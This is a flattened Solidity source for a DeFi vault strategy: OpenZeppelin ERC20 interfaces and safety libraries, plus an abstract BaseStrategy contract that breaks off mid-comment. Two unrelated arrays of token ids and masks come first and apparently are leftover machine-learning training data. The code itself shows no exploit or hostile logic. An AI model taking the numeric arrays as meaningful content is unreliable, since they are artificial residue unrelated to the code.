[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 28181, 9423, 12, 11890, 619, 16, 2254, 677, 13, 1071, 1476, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 309, 261, 20, 422, 619, 747, 619, 422, 293, 747, 374, 422, 677, 747, 677, 422, 293, 13, 288, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 203, 203, 3639, 309, 261, 69, 480, 374, 13, 288, 203, 3639, 289, 203, 3639, 309, 261, 70, 480, 374, 13, 288, 203, 3639, 289, 203, 203, 3639, 327, 511, 13173, 422, 534, 13173, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/Vault/BaseStrategy.sol struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; bool enforceChangeLimit; uint256 profitLimitRatio; uint256 lossLimitRatio; address customCheck; } interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } /** * This interface is here for the keeper bot to use. */ interface StrategyAPI { function name() external view returns (string memory); function vault() external view returns (address); function want() external view returns (address); function apiVersion() external pure returns (string memory); function keeper() external view returns (address); function isActive() external view returns (bool); function delegatedAssets() external view returns (uint256); function estimatedTotalAssets() external view returns (uint256); function tendTrigger(uint256 callCost) external view returns (bool); function tend() external; function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); } /** * @title DeFi Yield Technology Base Strategy * @author DeFi Yield Technology * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.0.1"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards DeFi Yield Technology TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of DeFi Yield Technology ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in DeFi Yield Technology Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0), "The strategist's new address cannot be the same as the ZERO ADDRESS!"); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0), "The keeper's new address cannot be the same as the ZERO ADDRESS!"); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0), "The reward's new address cannot be the same as the ZERO ADDRESS!"); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. 